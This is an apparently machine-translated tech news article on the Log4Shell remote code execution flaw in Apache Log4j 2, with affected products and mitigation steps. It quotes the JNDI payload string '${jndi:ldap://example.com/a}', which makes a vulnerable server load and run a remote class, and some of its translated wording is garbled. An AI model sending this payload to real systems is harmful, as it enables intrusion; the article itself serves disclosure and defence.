Log4Shell, a critical vulnerability in Apache Log4j 2 that affects many Java projects

Recently se released the news that a critical vulnerability was identified in Apache Log4j 2, which is characterized as a popular framework for organizing the registry in Java applications, allowing arbitrary code to be executed when a specially formatted value is written to the registry in the format "{jndi: URL}".

Vulnerability It is notable because the attack can be carried out in Java applications thatThey record values ​​obtained from external sources, for example by displaying problematic values ​​in error messages.

It is observed that almost all projects that use frameworks like Apache Struts, Apache Solr, Apache Druid or Apache Flink are affected, including Steam, Apple iCloud, Minecraft clients and servers.

The vulnerability is expected to lead to a wave of massive attacks on business applications, repeating the history of critical vulnerabilities in the framework, Apache Struts, which is a rough estimate used in 65% of Fortune 100 web applications. The company's web applications included already recorded attempts to scan the network for vulnerable systems.

The vulnerability allows remote execution of unauthenticated code. Log4j 2 is an open source Java log library developed by the Apache Foundation. Log4j 2 is widely used in many applications and is present, as a dependency, in many services. These include business applications as well as numerous cloud services.

The Randori attack team has developed a functional exploit and has been able to successfully exploit this vulnerability in customer environments as part of our offensive security platform. 

The vulnerability can be accessed through a multitude of application-specific methods. Indeed, any scenario that allows a remote connection to supply arbitrary data that an application using the Log4j library writes to log files is susceptible to exploitation. This vulnerability is highly likely to be exploited in the wild and is likely to affect thousands of organizations. This vulnerability represents a significant real risk to affected systems.

The problem is compounded by the fact that a functional exploit has already been published, e.g.But fixes for stable branches have not yet been generated. The CVE identifier has not yet been assigned. The solution is only included in the log4j-2.15.0-rc1 test branch. As a workaround to block the vulnerability, it is recommended to set the parameter Log4j2.formatMsgNoLookups to true.

The problem it was due to the fact that Log4j 2 supports the handling of special masks «{}» in log lines, in which JNDI queries can be run (Java Naming and Directory Interface).

In analyzing CVE-2021-44228, Randori has determined the following:

Default installations of widely used business software are vulnerable.
The vulnerability can be exploited reliably and without authentication.
The vulnerability affects multiple versions of Log4j 2.
The vulnerability allows remote code execution when the user runs the application using the library.

The attack boils down to passing a string with the substitution "$ {jndi: ldap: //example.com/a}", processing which Log4j 2 will send an LDAP request for the path to the Java class to the attacker.com server. The path returned by the attacker's server (for example, http://example.com/Exploit.class) will be loaded and executed in the context of the current process, allowing the attacker to achieve arbitrary code execution on the system with the rights of the current application.

Finally, it is mentioned that if abnormalities are found, it is recommended that you assume this is an active incident, that it has been compromised, and respond accordingly. Upgrading to patched versions of Log4j 2 or affected applications will eliminate this vulnerability. Randori recommends any organization that it thinks may be affected urgently upgrade to a patched version.

In the latest update from the Apache Log4j team, recommend that organizations do the following

  • Update to Log4j 2.15.0
  • For those who cannot upgrade to 2.15.0: In versions> = 2.10, this vulnerability can be mitigated by setting the log4j2.formatMsgNoLookup system property or the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true.
  • For versions 2,0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.

Source: https://www.lunasec.io/


The content of the article adheres to our principles of editorial ethics. To report an error click here!.

Be the first to comment

Leave a Comment

Your email address will not be published.

*

*

  1. Responsible for the data: Miguel Ángel Gatón
  2. Purpose of the data: Control SPAM, comment management.
  3. Legitimation: Your consent
  4. Communication of the data: The data will not be communicated to third parties except by legal obligation.
  5. Data storage: Database hosted by Occentus Networks (EU)
  6. Rights: At any time you can limit, recover and delete your information.